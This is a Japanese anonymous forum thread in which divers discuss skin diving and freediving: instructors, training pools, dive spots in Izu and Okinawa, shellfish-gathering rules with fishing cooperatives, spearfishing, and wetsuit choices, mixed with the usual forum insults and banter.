スキンダイブが好きって叫びながらこのスレを作った1さんには
悪いと思うけど、スキンダイブは嫌いな部類に入るかな。

ダイバーにスキンダイブが必ず必要とは思わないが、スキンダイブ
の練習もしたことなで認定されているダイバーには疑問を感じる。

レスキュー受けたいってダイバーには、スキンダイブは不可欠かな。
レスキューの練習項目にスノーケル装備だけで曳航ってのはあるけど、
スキンダイブして助けるのは講習で行ってるイントラはまずはいないだろうが・・・
スクーバレスキュー項目で水中に投げ捨てた器材を回収するのに
スキンダイブは必要になるのや。
だ・か・ら、自ずからレスキュー以上はスキンダイブが出来るはず
なんだけど実際は・・・・
まさか日本中のレスキュー持っていてスキンが全然できないダイバーが、
大瀬マンボウ桟橋前で必ず講習を受けている訳でもないし
いちいち講習生が水中に投げ捨てた器材をイントラだけが
回収している訳もねえしなーー

スキンをowで教えないイントラって、ドルフィンSP認定に重みを
つけようって企んでいるって場合もあるから気をつけてよね

>>140
潜水士の試験に実技が入ったの？

>>142は、あちこちで見るけど、うざいったらないね。
言ってる事も間違いで忌み不明だし。
こいつは、知ったかぶりのヲタ野郎だよ。
明らかに頭悪い。めんどくせえから細かな指摘はしないけどさ。
と、言うまでもなかったが、つい不愉快だったのでね。

>>142
ゼンゼン悪くないですよ。
実際、海で見かけるかぎりでは、スキンダイバーより、スクーバダイバーの方が圧倒的に多い。
やっぱり、スキンの方が好き、って人は少数派なんだと思う。面白いのになぁ。

>>143
１４３！！
下郎の分際で、控えおろう！！
１４０潜水士様のお出ましだ！！

潜水士の試験には厳しい素潜り実技があるのだ!!
3点セットとウエイトを抱えて10mまで一気に飛び込むのだ。
潜降するときには、肺のスクイズになるぐらい息を吐ききるのがコツだ。
水底で全装備を微動だせずに装着する30秒が辛いのだ。
スクイズになりそうな肺から、無理矢理息を出してマスククリアするのさ。

水面に上がれば10kgほどのネックレスで30分立ち泳ぎ。
これがまた辛いのさ。
二酸化炭素中毒で頭が痛いのを我慢しながら、肺いっぱいに息を
吸って止めてフィンを大きくこぐのさ。
どうしても息が吸いたい時には、パンパンの足筋肉で強くフィンキック。
なんとさ、こんな所でチームワークが云々とぬかしやがるのだ。
それはな、江戸時代にもあった5人組制度が適用されるんだ。
一人でも脱落者がいるとやり直しになるのだ。

これが潜水士様の技術試験の第１課題なんだ！！
あまりにものラベル違いで死にもの狂いで逃げ帰ってきたさ。

>>144
　＜前もって、文章に脈絡がなくなってしまったことをお詫びします＞

スキンが少数派になってしまうのは、いくつか理由があると思うんだ。
残念なことで、一番の理由はスキンを教えて商売に繋げるノウハウを
ダイブショップが知らないってのがあると思うんだ。
現実、スキン教えたからっていくらになるんだ。
重器材売って、カード売って、ツアー売ってのスキューバが儲かると考えるのだ。

なんで初っぱなに、ノウハウを知らないって言ったかというと・・・
スキンもまともに出来ないイントラに、なにができようぞ。
お客様にスキン教わるイントラに、なにが教えられる。
っていう、ところもあるかもyo-

現在のカード認定概念には、
　　　　　　「スクーバのベースにスキンダイブがある。」
考えは隠せなのさ。
スキンもまともに出来ねえ、イントラから教わった生徒が
一応できるまでにどれだけ苦労するか。
金にもならねえスキンに、長い時間を費やすのは無駄。

　　　　　　　　　特別営利宗教団体の教祖様たちのこころの叫び

ほ〜らね？やっぱ言った通りだろ？だから言わねえこっちゃねえ。
２ちゃんでＨＮに神って入ってるやつは、大概真性の電波だって。（藁

おい、そこの基地外。お前みたいな本物の電波の出現をマジで待ちわびてる
奴らが居る板に逝きな、歓迎されっから。
お前は存在自体が板違いだよ。じゃあな。

ふーーん
電波ってなんやろな？
意味不明なんよ。
知識不足なんで教えてくんろ。

＞＞１４７
全くそうの通り久々の真性電波人登場だね（ｗ

おれも神のコテハンつかおっかな
目指せアイドルランキング入りー！

下々の民ごときが我が名を汚す戯言を吐くか。

余の降臨を求める者たちか。

我こそは、タラコ唇をも下僕と従える真の神なり。

神様でもえび様でも素潜りの話題なら、誰でもﾀﾞｲｶﾝｹﾞｲです！

素潜りのスレ落ちてるし(;;)
誰かの素潜り発言まってよ。

海神ウザイsage

海神様とでもしとこっか

ちょっと恐れ多い気がするが

素潜りは海の遊びの原点だ。
からだ１つで潜ってみなさい。
海と対等に付き合うと、からだの水が海と一体化するのが
わかるよ。

ヤフーは、どこをどうとっても最悪。
ビッダーズが一番！！！↓
http://www.bidders.co.jp/bpu/1072049

皆、左上の会員登録をクリックして、
入会しよう。

海と一体化なんて事は感じないな
死が身近にあるとは感じる。他の物ではなかなか感じられない

人間は海と対等にはなれない。
対等だと思うのは人間のおごり、自惚れだ。

文学的センスのない奴だ。
悲しいよ。

一体感なんていってたら海に殺されッちまうぞ

自然の一部に同化しようとして、静かに海の呼吸と自分の呼吸をあわせようとする。
とでも言うべきか。
なーんて書くと、なんたら神くんが、「シンクロ率どうこう」とか
「やれ、それはハーモニクスレベルがどうだ」とか言ってきそうな予感。
すごすご。

素潜りはべつとして、フリーダイビングは　ものすごく金がかかる。
日本では　スポンサー探すのも難しいし、個人レベルでは無理

素潜りとフリーダイビングの違いってなんだ？
潜る深さか？
競技をフリーダビングというのか？
境目がよくわからんよ。

>>164
しゃあない。
アプネアを広げる一環でスポンサーの捜し方ってのを述べるか。
人によって、人脈うんぬんってのは抜かして話すことになるのだがな。
抜かした人脈ってのは凄く大切なんだが、ガキがパパお小遣いって
のと一般企業ってのはちゃうから、たいした差はなくなる。

まあ、スポーツなんってもんはよ、スポンサーが着かないと思った
活動ができないもんなんだよ。
なにに対してスポンサーは金を払うかってのはな、宣伝効果なにょよ。
宣伝効果ってのはは、
大勢の民に伝わる、必要とする特定に好印象、大義名分
こんなのが企業として出資するのに必要になってくるのさ。
そこを踏まえてよく考える必要があるのさ。
そすると、スポンサーってのは有難いことにお金を出してくれる
のだが、いやいやお金を貰ってる立場で言うのもなんだが、
ケチ臭いのーーーと思うなかれ。
必要とする予算の10%も出れば凄いもんさ。

献金生活に憧れるなよ。

>>165
164さんの言ってるのは競技だと思うぞ。
競技としてCMAS加盟のイタリアあたりの団体が開催する世界大会
やらのことじゃないかな。
ほら、映画グランブルーでやっていた奴さ。
よく見ると、やたらCMASってマークが目にとまるし・・・・

まあ、日本のフィンスイムでもあるように、
CMAS加盟団体JUSFが開催する国際フィンスイム競技と
社会スポーツが主催する国内の余興って2種類があるみたいだぜ。

>>165
素潜りは、息を止めて潜ること。
フリーダイビングは、素潜りで深さを追求して潜ること。
と理解してます。
スキンダイビングは、素潜りとおんなじかな？

去年、真鶴でフリーダイビングの大会をやってたね。

>>168
ダイビングの原点も真鶴だから、フリーも真鶴なんかな？
原点って言ってしまうと大げさか。
ポイントとして真鶴は、今ひとつだと思うのだけど・・・・・

>>169
お前一体年いくつ？

真鶴がフリーダイビングの原点かどうかは知らないけど、
三ツ石（真鶴半島の先端）などはいいポイントだと思います。
岸からちょっと離れるだけで、30メートル取れるし。
真鶴は三ツ石の他にも何箇所か、いいポイントがあります。スキンダイバーもよく見る。

首都圏からの交通の便も良いし、海況も安定している。
透明度から言うと、ちょっと物足りないかな...。

いやー、素潜りについて語れるなんていい所みつけたよ。
けっこう難しいこと書いてあってびっくりしました。
ところで「ハイパーベンチ」って具体的にどういう動作をやるの？？？
おいらも海育ちで遊びといえば、
潜ってしったかやとこぶしを採って焼いて食うといった幼少時代を過ごしてきて、
多少は潜りには自身があるつもりなんですが、そのような言葉は未だかつて聞いたことがないのでぜひ教えてほしいです。
前のお話をちゃんと読ませていただきましたので、危険なことは十分に理解しておりますのでご心配は無用です。

＞172
息を止める前にゼハゼハゼハゼハと速い呼吸をすることさ。
人間が苦しいって感じるセンサーは実は体内の酸素の量じゃなくて二酸化炭素の量に反応するようになってるのさ。
ゼハゼハゼハゼハ速い呼吸を繰り返すと体内の二酸化炭素量を減らせるから「苦しい」と思うセンサーをごまかして長く息を止めることができるのさ。
でも体内の酸素の量は変わらないから「苦しい」センサーが作動する前に体内の酸素を使い切って失神してしまうことがあるのさ。

＞167
「国際フィンスイム」は「競技」で「国内」は「余興」か？
なんか嫌味タラタラな言い方だな。
あれはルールが違うぞ。手を使って良いとかいろいろと。
俺は「フィンスイム」は「競泳系」であんたが言う「国内の余興」は「ライフセーバー（競技の奴ね）系」ってイメージを持ってるけどな。

素潜りを始めたいのですが、何処から始めれば良いのか分かりません。
今はプールでフィンスイムをしたり、ダイビングの合い間の
水面休息時にするのみです。＜危険ですよね？
ダイビング仲間は苦しいのは嫌とか言うし、ダイビングショップの人に
話してみたら嫌な顔されました。
ダイビングに関してはツアー以外でも友達とや一人でも沖縄や伊豆の
現地ショップに行ったりしていますが、素潜りに関してはアドバイスを
貰う人さえ居ません。

一人で現地に行って潜るのも可能かとも思いますが、知らない地形で
周りに誰も居なかったりしたら怖くて潜る自信は有りません。
安全管理からしっかりスノーケルをやってるショップ、サービス、
サークル等は無いでしょうか？（都内在住）
その他何か良い方法が有りましたら教えてください。
よろしくお願いします。

ほいよ。↓
http://www.jade.dti.ne.jp/~bigblue/index.html

>>176
休み明けにでも顔を出してみようかと思います。
どうもありがとうございます。

>>174
ちょっと意味が違うのです。
国際競技として認知されているフィンスイムと、国内の好きな人の集まりのフィンスイム
って違いだけです。
国内の競技では、国際競技にカテゴリーがない種目も開催さています。

ライフセーバーって、バディブリで競う競技のことかな？

>>175
スキンダイブ、アプネア、CMAS、などで検索するとでてきます。
辰巳プールで、月数回練習会もあります。
そっちは、モノフィンを使っての競技が主です。
御蔵のドルフィンスイムに絡ませてツアー組んでるショップなら
何軒か都内でもあると思いました。

>>178
ちょっとムッとしたのでトゲのある書き方で失礼しました。
「ライフセービング系」ってあれですよ。
スーツ着用とか、マスク・スノーケルはダイビング用、とか、手は肩より前に出しちゃいけないとか。
純粋にタイム削りにいくのなら無駄なコトばかりでしょ。
でもあえてフィールドでのダイビングに近い条件で競うってあたりがライフセービングに近いかな、と。あれもそんな種目多いでしょ。

＞173
どーもありがとうございました。そのことなんですか！
だとすると、似た動作はしてましたね。ちょっと深めにえびとかあわびとかのでかいのがいた時とか。
だから、ここ一発のときしかやっちゃだめだっていわれてたんだ。そのなぞがやっと解けました。

辰巳のプールでは、ほぼ毎週、いろんな団体が主催して練習会を行っています。
団体によって、モノフィンが主なもの、そうではないもの、と様々です。
ダイビングプールは水深が5mあるので、スキンダイビングのいい練習になりますよ。
明日もやってるね。

>>180
そうですね。
社会スポーツ主催の大会は、
ダイバーの観念からみた競技種目かと感じることが多いです。
JUSFはフィンスイムは、フィンスイム競技として運営しているのだと思います。
原点が違うから種目の発想が違うのでしょう。

>>180
そうですね。
社会スポーツ主催の大会は、
ダイバーの観念からみた競技種目かと感じることが多いです。
JUSFはフィンスイムは、フィンスイム競技として運営しているのだと思います。
原点が違うから種目の発想が違うのでしょう。

しっぱいしちゃった・・・ゴメン

>>182
辰巳のプールは広々して気持ちよいですよね。

海神のカキコはこちらだけしか
だめなんだと（Ｗ

海神の巣レッド↓
http://sports.2ch.net/test/read.cgi/msports/1020069865/l50

>>176さん
>>海神さん
>>1さん
どうもありがとうございます。
辰巳のプールを使用している団体を調べてみたり連絡を取ったりしてみました。
本格的な練習をする団体から、自由気ままに練習する団体といろいろ有るので目移りしましたが、まだ始めたばっかりと言うこともあり、自由に泳げる団体に参加することにしました。本当に参考になりました。どうもありがとうございます。
同時に>>176さんから教えていただいたshopにも顔を出してみたいと思います。

今後とも何か初心者な質問をしたりするかもしれませんがよろしくお願いします。＞みなさま

　　　　　　　　　　　　　　　　　　　　　　　　　　まさ

>186
俺も好きです。欲を言うと、もう２，３メートル深いと嬉しいなあ。

>187
まぁ、いいじゃないの（Ｗ

>188
辰巳で会いましょう♪
頑張ってくださいね。安全に楽しく！

1さんへ　真鶴　三石のポイントを詳しく教えてください。
いつもは潜っているところは、浅くておもしろくなくなった
ので、深いところへ潜りたいのです！

素潜り初心者ですが、都内の近くに素潜りができるスポットがありますか？
教えてください。

辰巳のプールは個人的にダイビングプールを利用する時、フィンやマスク
など持ち込んでもいいのかナァ？

>190
実は三ツ石には一度しか行ったことはないのです。
左の岩場に近いゴロタからエントリーすると、すぐに20m取れます。
そこからゆるやかに下っているので、さらに水深は取れそうでした。
大会はどの辺でやってたんだろう？

>191
ダイビングプールは、個人使用はできません。団体で借りるしかないようです。
ちゃんとした団体でなくてもOKで、サークル単位でも受け付けてくれますよ。

>192
なるほど。参考になりました。
ってことはやっぱり団体を探すか、直接海へ行くしかないですね･･･

>>193
団体でも、ビーフィン中心かモノフィン中心かってのがあるみたいです。
モノフィンって、溺れてしまいそうになりますが、めちゃ速いです。
マスクが水の抵抗でずれます。取れます。
あの感動的な速さを経験してしまうと、病み付きになるんでしょうー

　　　　　　　　　　　　　　　　　　　病み付きにならなかったけど・・・

御蔵島でドルフィンスイムした時、モノフィンのにーちゃんがいた。
そいつがイルカと同じ速度で、群の一員になって泳いでるのを見たとき、
ちょっと羨ましかった・・・。

>>195
それは凄い。
イルカと一緒に泳げていいかも。
うーーん、急にモノフィンが欲しくなってきたかも。

フィンスイムの大会に、相変わらず出場しているJUDFの会長は
やはり早いそうなん。
毎年、年齢別で優勝しているそうなん。
頑張ってるもんだなー

俺のＣか−ども、ＪUDＦだよ。おれもイクのは、早いＹ０.

あそこまで頑張るとさすがって思う。
やはり、潮美ちゃんのお父さんだけあるわな。

にひゃくぅ〜。

　
Ｇ・Ｗに三つ石にいったけど、観光客だらけでウエットに着がえるどころじゃなかったよ。
で、うに性の前で泳いだ。砂地あたりまでいってー15だったよ。

１さん、君のスレにレスが増えてるぜ。
スキンダイブのスレだぞ。
素潜りのスレだぞ。

呼ばれました（ｗ

>201
それって、琴ヶ浜ですよね？
私も好きなポイントです。スキンダイバーが多いし、なにより海況が安定してますね。
確かに、15mくらいまでしかないかも・・・。もっと沖には行ったことありません。
でも、琴ヶ浜はその手前の岩場を楽しむものだ、と割り切ってます。

御蔵島いきてーなー。　ドルフィンスイムしてーなー。　
イルカってそんなに速いの-。

ああ、いるかは速いぞ。
全くして、追いかけようなんて思わない。
ってより、イルカを追い掛け回したりしたら、イルカにストレスあたえるからな。

また、御蔵のイルカって坂東やから大きいぞ。
近場でイルカぐらいの大きな生物って滅多に会わないしなー
ぜひ、御蔵には行ってみるといいぞ。

先週末、御蔵島に行ってきた。ちょっと寒かった・・・。
遊んでくれるイルカは、わりと小型のものが多いよ。
たぶんまだ若いイルカなのかな。

age

耳がちぎれる。。。。。

海神って何ｍもぐれんの？ほんの数メーター？？？？？やつはり知識だけ？そうしたら残念だなあ
。。。

意見交換や情報交換したくて２チャンネル見学し始めたんだけど、無理なのかな？
無名SEAばかりなのは、おかしいと思わない？上げ足取りも良くあるしね。
このスレッドから、みんなで改善しませんか？
んーと、説教じゃなくてさー提案だよ、楽しみの足しになる発言しようよ。

>210
マジレスしてあげるけどさ、
それこそが2ちゃんをおよそ支配してる空気なんだよ。
細かい事を言うと限がないが、みんなはこの荒み、汚れた空気を吸ってる内に
すっかり中毒になっている。
もちろん他所のＢＢＳでは紳士、淑女を決めてる人もたくさんいるけど、その多くは
ここへ戻ってくるとほっとしてるんだよ。
俺もそう。ま、たまにマターリした板やスレもあるから一息つきたいときには
そこへ出かければいいしね。

煽り、騙り、自作自演、自己満足のための知識ひけらかし、そういうものの中に
時折「ほう！」と唸らせられる情報や意見が混じっている。それがなぜか楽しいのさ。
さらに言うとね、コテハンを使ってると色んな意味で叩かれやすくなる。叩かれるのが
好きなヤツはあえてコテハンにしてるのもいる。

2ちゃんモードでレスを書くとこんな感じになる。
「みんなで改善だぁ？　おまえがこの世から消える事が一番の改善なんだよ、ボケ！
逝ってヨシ！　二度と来んな」

2chは、”何でもあり”、というとこが俺も好き。
でも、このスレは素潜り話で。それが唯一のルールでたのむ。

で、俺の記録は-25m。でも普段はコワイから、-20m以深には行きません。
え？誰も聞いてない？

サバ１０の法則って知ってる？

・素潜りに慣れてくると１０ｍサバを読む。
・素人が相手だと１０ｍ幅を軽く論じる。

俺は自分の目の前で潜ってみせなきゃ「自分は何ｍ潜れるぞ」なんてのは信じないね。
特に２０ｍ以上潜れると聞きもしないのに自分からいうヤツは。
本当に深く潜れるヤツは「何ｍ潜れる」なんて自分からは言わないものだ。

>213
ｵﾏｴﾊ、ﾐﾐﾇｷﾉﾚﾝｼｭｳﾃﾞﾓｼﾃﾛ。

おおまかには>211の言ってる通りだな。
ここはネットの中でもちょっとガラの悪い遊び場ってイメージだね。
でも一時は全体的にもっと荒れてた頃もあった気がする。
慣れてきただけなのかもしれないが。
>210は>211の最後の2行をそのまま受けてはいけない。
単にあいさつみたいなもんだよ。
他のアゲアシ取りや、殺伐としたやりとり、デマ情報全部ひっくるめて
オアソビとして楽しむ。それが2ちゃんでしょう。

ところで潜水深度だけど、俺の記録は多分マイナス20ｍくらいだと思う。
きちんと測ったことないんでよく分からないんだけど、仲間が
それくらいじゃないかって言ってたんで。
今度マジに計ってみよう。
でもさ、俺が潜る主な目的はアワビとサザエ。これは密漁じゃあない。きちんと
漁協とハナシもついてる。
で、普段は10ｍも潜れば充分なんだよね。のべ1時間も海に浸かってたら
サザエなら100から150、アワビでも10くらいはいけるから。
ちなみに俺はウエイト2�sが好み。すーっと潜れるから。

>213
ふーん、「サバ１０の法則」って初耳だなあ。
だた、俺のダイコンが25mをしめしてたから、なんですけど・・・。
確かに、計ったわけではないから正確じゃない。

でも、-25mはけっして深くはないよ。むしろ浅い方。こんなの自慢にもなんにもなりゃしないよ。
もっと深くまで潜れるようになったら、自分からは言わなくなるのかな？（ｗ

２５ｍを「浅い」と言う奴は素潜りの危険性を知らないか海をナメてるとしか思えんな。

うー。言葉が足りなかった。ｽﾏｿ
「記録としては浅い」に訂正・・・。

>>215
アワビくいてー
サザエくいてー

>>219
知り合いならいくらでも食わしてやれるんだがなあ。
毎年シーズンインしてもすぐに飽きちゃうくらい獲れるんだよ。
でも、近頃そこも有名になってきてさ、あるグループがやって来た後は
本当に何もないって事があるんだよな。
ぺんぺん草も生えてねえって感じ。強盗みたいなもんだ。ぷんぷん。
やつらが帰る時には大型のクーラーボックスが5個も6個も満杯になってる。

でも海神ってあんま潜れなそう。はっきしいって海でもぐれないのにうんちくたれるのはオタクなので基本的にはダメだよね。なんちゃって。。。。。

>215
いいですね。
漁協にはどのように話せば了解して
くれますか？
お金くらい払ってもいいので採りたいと
思います。と言っても僕なんか、家族の分
だけなので、さざえ５個しったか２０個で
十分です。

>222
俺が行くとこの漁協は、原則的に貝で生計立ててないんだよね。
で、なぜか民宿を経営してる漁師さんが多くて素人どもに少々貝を獲られても、
その分泊まってもらった方がうれしいってわけなんです。
だから最初の頃何度かは民宿に泊まって、そこの主人に顔を覚えてもらう、そして
たまには土産を持ってくくらいして仲良くなってなくてはいけないってわけです。
高いブランド物の日本酒を何本か持って行って、「寄り合いの時にでも皆さんと飲んで」
などと渡した事もあります。
するとその後は自動的に「あのグループはお墨付き」という札が下がって、
一帯の漁師さんたちに嫌われる事がなくなるという事なのです。

どっちみち初期投資はきちんとしてるって事です。
どこの漁協も同じ様にできるか…となると難しいと思います。

>>223
さすがですね。人生の達人って感じですね。
どうもありがとう。
僕は神奈川の西部の方へ行きますが、貝は少ない
けど、酸素ボンベ禁止、みたいに岩にかかれてます。
あれって巣潜りならいいよってことなのかな。

カメラ持って潜る時以外は、素潜りの方が気軽で良い。
ボートダイビング（スキューバ）は魅力を感じるが
ビーチダイビング（スキューバ）なら素潜りで充分。

女性の素もぐらーです。
素潜りって商売にならないせいか、ショップが力入れないんですよね。
だから素潜りメインでやっている人は少ないですね。
でも私の回りで女性の素もぐらーさん、数人いますよ。
最近はドルフィンスイムの影響かなぁ。
それに素潜りは機材軽いので車の無い女性に向いているかも知れないです。

私は海洋公園か富戸で潜ることが多いですよ。
私は素潜りで写真撮りますよ。
泡が出ないので魚が逃げないですよ。
海洋公園の１の根、２の根あたりで素潜りで写真とっています。

素潜りで２５ｍって、やはり深いですよ。
意識して素潜りというかフリーダイビングしてる人で無いと入れない深さじゃないですか？
私は競泳やってたので肺活量や泳ぎに自信ありますが、２５ｍが限界でした。
最近、ロングフィンにしてようやく３０ｍ以上行ける様になりました。
でも３０ｍから浮上する時って水面遠いですよね。
なかなか水面は近くにならないし、息はどんどん苦しくなるし・・。
なんでこんな深い海の中で苦しい思いしてるのかとか考えちゃいますよね。
途中からは水面見ながら、空気っ空気っとか心の中で叫んでるし・・。
でも長い息こらえの後で、水面に着いてから吸う空気って美味しいんですよね。
スノーケルから吸う時に水が混ざっていても、美味しいですよね。
そして深度への到達の満足感もあって、深潜りって止められないんですよね。

その海に貝を獲って生計をたてている人がいると、やはり「貝獲り」の人を取り締まらないといけないわけで。

取り締まる側の意識にも個人差ってあるんですけど。
私個人としては、その人がつまみで食べるくらいの１個２個だったら別にかまわないと思ってます。
でも調子にのってスカリにゴッチャリ獲ってきたあげくにそれ売って小遣い稼ぎとかまでやられちゃうとそれで生活している漁業者としてはどうなのかと。
限度と常識の問題って奴ですかね。

>227
つーか、北に行くに従って漁師もヘタレが多くなるよな。
ウチらみてーな素人が貝を獲ろうが、
魚を突こうがプロから見たらたいしたことねーべ？
知り合いの漁師いわく、
「オレはプロだからおまえらごときで出来るような事して
メシ喰ってる訳じゃないんだから、好きにしな」だって。

たいしたことありますよ>>228
漁業資源の総量は無限じゃありませんから。
最近は「シロウト」さんもレベルが上がって相当な量を水揚げされますからねぇ。
しかも人数が多いですから、単純にかけ算しても相当なもんです。
一人一人の量は少なくても人数が多いからトータルの量としてはバカになりませんよ。
貝なんかは「シロウト」さんでも行けるような水深が主な漁場ですから、夏になるとそれこそあっという間に根こそぎ無くなってしまうのですよ。
せめて小さい稚貝くらいは残してくれると次の年につながるのですけど、取り締まった「シロウト」さんのスカリの中にはこんな小さいのまで、と驚くようなモノが入っていることもしばしばです。
「プロ」が金払って買ってきた稚貝を放流してる横でそれを「シロウト」さんがかき集めていたり。

トータルの量が決まっている資源を「プロ」と「シロウト」さんで奪い合っているわけですから、そこはそれ、かなりギスギスした話になってしまうものです。
ここにこんなこと書いたからって貝獲る「シロウト」さんが減るわけじゃないとは思ってますけど一応ご参考まで。

>「プロ」が金払って買ってきた稚貝

ヴァ〜〜〜〜カ！！！
税金の間違いだろ？？（糞藁

>226被虐性淫乱症？（ｗ

去年は勝浦付近に何度か行ったけど、素潜りで貝をとる人が本当に多かった。
地元の漁師さんに「どこで潜っていいですか？」と聞いても、「ここではダメ」という答えがほとんど。
ダメ元で、「何も獲りませんから」と言っても無駄だった。とるのは写真だけなのに。

資源に対して、人が多すぎるからなのかな、と思った。
だって、沖縄ではそんなに言われたことない。

海で素潜りやってると、いつもその問題が付いて離れませんね。
どうにもなんないのかなぁ・・・鬱

>>229
おっしゃるとおりと思います。
セミプロのような人たちが沢山
とってしまうのは、やはり問題ありかと。
漁師は一応決められた方法、日時で採ってる
わけですが、セミプロの人たちはそれがないわけで
無法者ということもできると思います。
しかし、わたしのようにその日の家族へのプレゼント
程度までも禁止されているというのが、如何なものかと。
例えば、組合員以外はひとり５個まで、とかなんらかの基準
があればいいと思います。オーストラリアではあわび(アバロニ）
は漁業権などなく採れますが、日時と量を厳密に決められています。

日本の場合、本当は釣りもいけないんでしょう？
でもその法律はばかげていると思います。
海はみんなのものだから。
漁師さんの生活も大事だが、それは既得権のような
もので、冷たく言うと「市場から退場を求められている赤字
企業」のようなもので、自分の権利を囲い込むのは如何かと。

本来は海を開放して、オーストラリアのように規制する方が
妥当な感じがしますが如何でしょうか。

>>226
富戸はいいですね。俺もよく行きます。
ただ、スキンダイバーはそれほどいないな、という印象が強いなぁ。スクーバダイバーが多いせいかな・・・

深潜りの魅力には同感です。
浮上する時の感覚は好き。”飛んでいる”という感じ。
まぁ、苦しくなるまで水中にいないせいかもしれませんが・・・

>>233
オーストラリアのやり方を日本に導入することは有効なのでしょうか？
>>228のように、放流した稚貝をとる行為も考慮したら、難しいと思う。
とてもいい案だとは思います。

日本の既成のシステムを採用することはどうでしょう。
例えば、鮎のように、解禁日があり、地方によってはライセンスが必要、とか・・・

>>235
そう、それですね。
鮎のようなシステムいいですね。

>>234１も被虐性淫乱症？（ｗ

うーむ。素潜りスレがあげてるな。　
うれしい。

女性のスキンダイバーです。
日本でもスピアフィッシュィングを解禁して欲しいです。
場所を限定でもいいですから。
海外ではみんなやってるでしょう。
ただし素潜り限定の必要はあると思います。
タンクを使って捕獲したら魚資源は枯渇すると思います。
素潜りという限定をしたら大丈夫ですよ。
日本のフリーダイビングは記録が振るわないじゃないですか。
海外はスピアやってみんな素潜りする土壌があるから敵わないんですよ。
スピアを解禁したら素潜りをやる人口が増えると思いますよ。
私はオーストラリアでスピアをやったことがあります。
人間の狩猟本能を刺激するのか、やみつきになります。
８０ｃｍのハタをしとめました。
ですけど素潜りで２０ｍ以上潜って、大物と格闘するので体力がいるし、息が続かず大変苦しいスポーツですね。
私も２０ｍ位潜って獲物を探していて、もう浮上しようかというときに、岩穴にハタを発見しました。
すぐスピアを撃ったんですがハタは岩穴の奥に入ってしまい、岩に足をかけて力比べをしてハタを穴から出しました。
ハタをかかえて浮上しようとしましたが、ハタが暴れて浮上できません。
息こらえが限界に近くて、苦しくてたまらないのでハタを離し、スピアガンのリールを緩めてラインを出しながら浮上しました。
水面が遠かったです。
スピアの経験者でないとわからない苦しさだと思いました。
浮上の途中で体が痺れてきて頭痛がして、空気が欲しくてたまりませんでした。
水面でようやく空気を吸って、下を見るとし止めたハタが見えるんですよ。
何物にも変えがたい感動の一瞬ですよね。
日本でもスピアが出来る日が来るのを願ってやみません。

5ｍないし10ｍ潜ると真夏なんか特に分かりやすいけど、水温が突然冷たくなる層が
あるよね？
あの変温層の境界を突き破る瞬間の感触がたまらなく好きだな。

>>239
20m潜って、獲物をさがしてスピアで突くなんてすごい。
なんだか冒険小説を読んでるみたいです。

>>240
それって、サーモクラインってやつですよね。
透明度が明らかに違うときがあるので、見てると面白い。
でも、俺はどちらかというとその感触は好きではないなぁ。
「ゾクッ」として、ちょっと恐怖感を感じるから・・・

＞241
確かに。コンスタントウェイトやって、調子よく-20ｍ位逝ってるとき、
サーモクラインでドキっとして苦しくなることがよくある。

＞２３９
お嬢ちゃん、オイタはほどほどにな。
海を舐めると火傷するぜ、、、と逝ってみるTEST

>>239
ホントに女かねぇ…
ワザワザ女性と断ってるとこがなんかアヤシイ

ぷっ
http://freehost.kakiko.com/freen/kesaku.html

前にも出てきたネタやろうだろ
定期的に出てくるのよ,夏近づくと
魚業調整規則で突きつきは認められてないんだったよね
つかまらん戸は思うが名,

>>231
写真を撮るだけだったら
海なんかどこでも潜っていいんじゃあないの？
海岸や海面は漁協の所有物ではないんだよ。
川の場合もそうなんだけど、
漁業権と、その場所への立ち入りの制限を
混同してしまっている人が多すぎ。

↑>>232だった。　ｽﾏｿ

>>247
本当にそう思います。でも実際、怒られちゃうんだよなぁ・・・。
こっちも、言い争いしたくないからさっさとポイント変えちゃう。
そういうこちらの態度もよくないのかな。

三ツ石って離れ小島みたいになってるけど、渡し船みたいなのがあるのかな。
自力じゃ無理だろうし。

ああ、三ツ石といってもあそこまではいかないのか。
その手前のあたりでいいのかな。

素潜りでもスキューバと同じウェットスーツ着るんですか？
っていうか水温が低いときはそうしないと寒くて仕方ないですよね。

個人的には真夏以外はウエット着たいのが本音。
でも貝を獲る時はウエット着て潜ってはいけないのが私の住んでる地方のルールなので
薄いサーフ用のＴシャツを着ています（ピチッとしたやつ）。
1枚着るのと着ないのとでは大違いだからね、体温の奪われ方が。
ケガ防止という意味も込めて。

ウエットを着る時は一切貝には触らない。うずうずするけど。
単に深潜りを楽しむ時や、長時間のスノーケリングで散歩のように泳ぐ時だけ。
長時間、長距離をバシャバシャする時は、おにぎりも抱えて行くので見た目がすごくマヌケ。

水温が20度下回ると5mmのウエット着てる。
それより高いと、フードかインナーかラッシュガードで対応。
できるだけ裸に近い状態で潜りたいんだよね。裸が一番気持ちいいから。
でも、寒いと息が続かないし・・・。葛藤。

>>253
おにぎりは面白いですね。笑える。
海上で食べるんですか？

水温が２０度超える時って真夏しかないですよね？
クラゲが嫌いなんで、７月末から８月頭の本当に短いときしか遊べない
のが辛いです。ウェットを買って、今ぐらいから遊ぼうかと考えてます。

>>255
どこですか？
私の地元伊豆では今日現在ちょうど20℃ですね。
去年は黒潮の接岸傾向で11月に21℃って日もありましたよ。

秋はまだ温かいんですね。

>>255
確カニ・・　去年は南伊豆最南端の某ポイントに数回逝ったが
水温がぬるま湯のようで気持ち悪かった。クラゲも多数いたし。
魚はいつもの年よりも異様に多くてﾋﾞｸｰﾘ。

　おいら、スキン時は、3mmスプリング着てるよ。
裸にちかいってのには賛成だね。
ちなみにウエイトは、1キロ。　　　　　

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>254=1
泳ぎながらは食べません。
そんなお行儀の悪いことをすると叱られますｗ
手ごろな岩に這い登ります。
ついでに言うと、当然ペットボトルのお茶も抱えてます。
一度だけビニール袋が破れてて塩分濃度スゴイ高い＆ぐしょぐしょの
おにぎり（もはやおにぎりとは呼べなかったけど）を食べたけど、
ハンガーノックをおこしそうなくらい腹が減ってたので仕方なかった。

今ぐらいなら3mmでいけるもんですか？

こないだ座間身の古座間ビーチに行ってきました。
水深もすぐ落ちてるので水面移動もすくなくやりやすかったです。

６月後半沖縄本島行くんですけど、
スキンできるとこって真栄田と崎本部以外でありますか？
あと真栄田って階段下りた後ゴツゴツしてますよね
やっぱブーツ履いてないと厳しいですか？
できればフルフットで行きたいんですけど。

ちなみに相模湾で潜りたいです。

昨日三浦で泳ぎましたがスプリングで平気でした、ビキニはちょっと寒かった。
帰って来て、玉禁や､周りが４箇所くらい蚊に刺されたように赤く腫れて超痒い
んですが、これってチンクイってやつでしょうか？痒くて痒くてたまりません。
処置法とかってありますか？

>>262
3mmで十分でしょう。ただ、寒く感じるのは個人差があるようです。
